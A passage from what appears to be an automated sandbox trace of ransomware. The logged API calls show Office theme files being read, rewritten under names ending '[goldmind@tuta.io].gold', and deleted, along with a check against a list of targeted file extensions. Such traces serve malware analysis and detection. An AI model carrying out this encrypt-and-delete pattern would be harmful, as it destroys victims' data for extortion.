hTemplateFile=0x0) returned 0x230 [0095.921] GetLastError () returned 0x0 [0095.921] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0095.923] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0095.924] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.924] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0095.924] SetEndOfFile (hFile=0x230) returned 1 [0095.924] CloseHandle (hObject=0x230) returned 1 [0095.924] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.925] SetEndOfFile (hFile=0x3c4) returned 1 [0095.926] CloseHandle (hObject=0x3c4) returned 1 [0095.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0095.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.927] lstrlenW (lpString=".doc") returned 4 [0095.927] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.927] lstrlenW (lpString=".docx") returned 5 [0095.927] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.927] lstrlenW (lpString=".pdf") returned 4 [0095.927] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.927] lstrlenW (lpString=".xls") returned 4 [0095.927] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.927] lstrlenW (lpString=".xlsx") returned 5 [0095.927] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.927] lstrlenW (lpString=".ppt") returned 4 [0095.927] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.927] lstrlenW (lpString=".zip") returned 4 [0095.927] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.927] lstrlenW (lpString=".rar") returned 4 [0095.927] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.927] lstrlenW (lpString=".bz2") returned 4 [0095.928] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".7z") returned 3 [0095.928] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".dbf") returned 4 [0095.928] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".1cd") returned 4 [0095.928] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".jpg") returned 4 [0095.928] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".doc") returned 4 [0095.928] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".docx") returned 5 [0095.928] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.928] lstrlenW (lpString=".pdf") returned 4 [0095.928] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".xls") returned 4 [0095.928] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".xlsx") returned 5 [0095.928] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.928] lstrlenW (lpString=".ppt") returned 4 [0095.928] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".zip") returned 4 [0095.928] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".rar") returned 4 [0095.928] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".bz2") returned 4 [0095.928] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString=".7z") returned 3 [0095.928] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".dbf") returned 4 [0095.928] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".1cd") returned 4 [0095.928] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0095.928] lstrlenW (lpString=".jpg") returned 4 [0095.928] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.928] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.928] lstrlenW (lpString="Metro.eftx") returned 10 [0095.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0096.098] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=24117) returned 1 [0096.098] CloseHandle (hObject=0x3c8) returned 1 [0096.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0096.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.126] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.126] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0096.126] GetLastError () returned 0x0 [0096.126] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x5e35, lpOverlapped=0x0) returned 1 [0096.143] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0096.144] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.144] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0096.144] SetEndOfFile (hFile=0x3bc) returned 1 [0096.144] CloseHandle (hObject=0x3bc) returned 1 [0096.144] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.144] SetEndOfFile (hFile=0x3b4) returned 1 [0096.146] CloseHandle (hObject=0x3b4) returned 1 [0096.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString=".doc") returned 4 [0096.147] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".docx") returned 5 [0096.147] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.147] lstrlenW (lpString=".pdf") returned 4 [0096.147] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".xls") returned 4 [0096.147] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".xlsx") returned 5 [0096.147] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.147] lstrlenW (lpString=".ppt") returned 4 [0096.147] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString=".zip") returned 4 [0096.147] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".rar") returned 4 [0096.147] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".bz2") returned 4 [0096.147] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".7z") returned 3 [0096.147] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString=".dbf") returned 4 [0096.147] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString=".1cd") returned 4 [0096.147] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString=".jpg") returned 4 [0096.147] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.147] lstrlenW (lpString=".doc") returned 4 [0096.147] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".docx") returned 5 [0096.147] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.147] lstrlenW (lpString=".pdf") returned 4 [0096.147] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.147] lstrlenW (lpString=".xls") returned 4 [0096.147] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString=".xlsx") returned 5 [0096.148] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.148] lstrlenW (lpString=".ppt") returned 4 [0096.148] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.148] lstrlenW (lpString=".zip") returned 4 [0096.148] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString=".rar") returned 4 [0096.148] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString=".bz2") returned 4 [0096.148] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString=".7z") returned 3 [0096.148] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.148] lstrlenW (lpString=".dbf") returned 4 [0096.148] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.148] lstrlenW (lpString=".1cd") returned 4 [0096.148] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0096.148] lstrlenW (lpString=".jpg") returned 4 [0096.148] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.148] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.148] lstrlenW (lpString="Newsprint.eftx") returned 14 [0096.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0096.195] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=582401) returned 1 [0096.195] CloseHandle (hObject=0x3b0) returned 1 [0096.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0096.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.474] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.474] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.524] GetLastError () returned 0x0 [0096.524] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x8e301, lpOverlapped=0x0) returned 1 [0096.558] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0096.565] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.565] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0096.565] SetEndOfFile (hFile=0x3c4) returned 1 [0096.566] CloseHandle (hObject=0x3c4) returned 1 [0096.566] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.566] SetEndOfFile (hFile=0x33c) returned 1 [0096.575] CloseHandle (hObject=0x33c) returned 1 [0096.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0096.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.584] lstrlenW (lpString=".doc") returned 4 [0096.584] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".docx") returned 5 [0096.585] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.585] lstrlenW (lpString=".pdf") returned 4 [0096.585] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".xls") returned 4 [0096.585] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".xlsx") returned 5 [0096.585] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.585] lstrlenW (lpString=".ppt") returned 4 [0096.585] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString=".zip") returned 4 [0096.585] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".rar") returned 4 [0096.585] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".bz2") returned 4 [0096.585] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".7z") returned 3 [0096.585] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString=".dbf") returned 4 [0096.585] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString=".1cd") returned 4 [0096.585] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString=".jpg") returned 4 [0096.585] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString=".doc") returned 4 [0096.585] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".docx") returned 5 [0096.585] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.585] lstrlenW (lpString=".pdf") returned 4 [0096.585] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".xls") returned 4 [0096.585] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".xlsx") returned 5 [0096.585] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.585] lstrlenW (lpString=".ppt") returned 4 [0096.585] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.585] lstrlenW (lpString=".zip") returned 4 [0096.585] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".rar") returned 4 [0096.585] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".bz2") returned 4 [0096.585] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.585] lstrlenW (lpString=".7z") returned 3 [0096.585] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.586] lstrlenW (lpString=".dbf") returned 4 [0096.586] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.586] lstrlenW (lpString=".1cd") returned 4 [0096.586] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0096.586] lstrlenW (lpString=".jpg") returned 4 [0096.586] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.586] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.586] lstrlenW (lpString="Slipstream.eftx") returned 15 [0096.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.593] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=27789) returned 1 [0096.593] CloseHandle (hObject=0x190) returned 1 [0096.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0096.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.593] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.593] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.594] GetLastError () returned 0x0 [0096.594] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0096.595] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0096.596] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, 